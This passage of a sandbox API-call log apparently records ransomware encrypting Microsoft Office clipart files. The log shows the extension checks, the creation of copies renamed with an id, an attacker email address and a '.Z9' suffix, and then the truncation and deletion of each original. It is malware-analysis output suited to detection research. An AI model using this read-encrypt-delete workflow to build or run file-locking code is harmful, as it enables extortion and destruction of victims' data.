	[0085.872] lstrlenW (lpString=".jpg") returned 4
	[0085.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.872] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.872] lstrlenW (lpString="BL00296_.WMF") returned 12
	[0085.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.873] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=812) returned 1
	[0085.873] CloseHandle (hObject=0x38c) returned 1
	[0085.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220
	[0085.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.873] GetLastError () returned 0x0
	[0085.873] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x32c, lpOverlapped=0x0) returned 1
	[0085.875] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x330, lpOverlapped=0x0) returned 1
	[0085.876] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.876] WriteFile (in: hFile=0x338, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.876] SetEndOfFile (hFile=0x338) returned 1
	[0085.876] CloseHandle (hObject=0x338) returned 1
	[0085.877] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.877] SetEndOfFile (hFile=0x38c) returned 1
	[0085.878] CloseHandle (hObject=0x38c) returned 1
	[0085.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString=".doc") returned 4
	[0085.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString=".docx") returned 5
	[0085.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.879] lstrlenW (lpString=".pdf") returned 4
	[0085.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString=".xls") returned 4
	[0085.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.879] lstrlenW (lpString=".xlsx") returned 5
	[0085.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.879] lstrlenW (lpString=".ppt") returned 4
	[0085.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString=".zip") returned 4
	[0085.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.879] lstrlenW (lpString=".rar") returned 4
	[0085.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString=".bz2") returned 4
	[0085.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString=".7z") returned 3
	[0085.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString=".dbf") returned 4
	[0085.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString=".1cd") returned 4
	[0085.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.879] lstrlenW (lpString=".jpg") returned 4
	[0085.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString=".doc") returned 4
	[0085.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString=".docx") returned 5
	[0085.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.880] lstrlenW (lpString=".pdf") returned 4
	[0085.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString=".xls") returned 4
	[0085.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.880] lstrlenW (lpString=".xlsx") returned 5
	[0085.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.880] lstrlenW (lpString=".ppt") returned 4
	[0085.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString=".zip") returned 4
	[0085.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.880] lstrlenW (lpString=".rar") returned 4
	[0085.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString=".bz2") returned 4
	[0085.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString=".7z") returned 3
	[0085.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString=".dbf") returned 4
	[0085.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString=".1cd") returned 4
	[0085.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0085.880] lstrlenW (lpString=".jpg") returned 4
	[0085.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.278] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.278] lstrlenW (lpString="BS00078_.WMF") returned 12
	[0086.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.279] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1444) returned 1
	[0086.279] CloseHandle (hObject=0x390) returned 1
	[0086.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220
	[0086.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.279] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.279] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.280] GetLastError () returned 0x0
	[0086.280] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x5a4, lpOverlapped=0x0) returned 1
	[0086.857] WriteFile (in: hFile=0x380, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0086.858] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.858] WriteFile (in: hFile=0x380, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.858] SetEndOfFile (hFile=0x380) returned 1
	[0086.858] CloseHandle (hObject=0x380) returned 1
	[0086.859] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.859] SetEndOfFile (hFile=0x390) returned 1
	[0086.860] CloseHandle (hObject=0x390) returned 1
	[0086.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1
	[0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.861] lstrlenW (lpString=".doc") returned 4
	[0086.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.861] lstrlenW (lpString=".docx") returned 5
	[0086.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.861] lstrlenW (lpString=".pdf") returned 4
	[0086.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.861] lstrlenW (lpString=".xls") returned 4
	[0086.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.861] lstrlenW (lpString=".xlsx") returned 5
	[0086.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.861] lstrlenW (lpString=".ppt") returned 4
	[0086.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.861] lstrlenW (lpString=".zip") returned 4
	[0086.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.861] lstrlenW (lpString=".rar") returned 4
	[0086.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.861] lstrlenW (lpString=".bz2") returned 4
	[0086.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.861] lstrlenW (lpString=".7z") returned 3
	[0086.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.861] lstrlenW (lpString=".dbf") returned 4
	[0086.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.862] lstrlenW (lpString=".1cd") returned 4
	[0086.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.862] lstrlenW (lpString=".jpg") returned 4
	[0086.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.862] lstrlenW (lpString=".doc") returned 4
	[0086.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString=".docx") returned 5
	[0086.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.862] lstrlenW (lpString=".pdf") returned 4
	[0086.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString=".xls") returned 4
	[0086.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.862] lstrlenW (lpString=".xlsx") returned 5
	[0086.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.862] lstrlenW (lpString=".ppt") returned 4
	[0086.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.862] lstrlenW (lpString=".zip") returned 4
	[0086.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.862] lstrlenW (lpString=".rar") returned 4
	[0086.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString=".bz2") returned 4
	[0086.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.862] lstrlenW (lpString=".7z") returned 3
	[0086.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".dbf") returned 4
	[0086.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".1cd") returned 4
	[0086.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".jpg") returned 4
	[0086.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.863] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.863] lstrlenW (lpString="BS00135_.WMF") returned 12
	[0086.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.863] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1044) returned 1
	[0086.863] CloseHandle (hObject=0x390) returned 1
	[0086.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220
	[0086.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.864] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.864] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.865] GetLastError () returned 0x0
	[0086.865] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x414, lpOverlapped=0x0) returned 1
	[0087.037] WriteFile (in: hFile=0x380, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x420, lpOverlapped=0x0) returned 1
	[0087.038] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.038] WriteFile (in: hFile=0x380, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.038] SetEndOfFile (hFile=0x380) returned 1
	[0087.038] CloseHandle (hObject=0x380) returned 1
	[0087.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.039] SetEndOfFile (hFile=0x390) returned 1
	[0087.040] CloseHandle (hObject=0x390) returned 1
	[0087.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0087.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1
	[0087.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.628] lstrlenW (lpString=".doc") returned 4
	[0087.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.628] lstrlenW (lpString=".docx") returned 5
	[0087.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.628] lstrlenW (lpString=".pdf") returned 4
	[0087.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.628] lstrlenW (lpString=".xls") returned 4
	[0087.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.628] lstrlenW (lpString=".xlsx") returned 5
	[0087.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.628] lstrlenW (lpString=".ppt") returned 4
	[0087.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.628] lstrlenW (lpString=".zip") returned 4
	[0087.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.628] lstrlenW (lpString=".rar") returned 4
	[0087.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".bz2") returned 4
	[0087.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".7z") returned 3
	[0087.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString=".dbf") returned 4
	[0087.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString=".1cd") returned 4
	[0087.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString=".jpg") returned 4
	[0087.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString=".doc") returned 4
	[0087.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".docx") returned 5
	[0087.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.629] lstrlenW (lpString=".pdf") returned 4
	[0087.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".xls") returned 4
	[0087.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.629] lstrlenW (lpString=".xlsx") returned 5
	[0087.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.629] lstrlenW (lpString=".ppt") returned 4
	[0087.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.629] lstrlenW (lpString=".zip") returned 4
	[0087.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.629] lstrlenW (lpString=".rar") returned 4
	[0087.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".bz2") returned 4
	[0087.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.629] lstrlenW (lpString=".7z") returned 3
	[0087.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.630] lstrlenW (lpString=".dbf") returned 4
	[0087.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.630] lstrlenW (lpString=".1cd") returned 4
	[0087.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
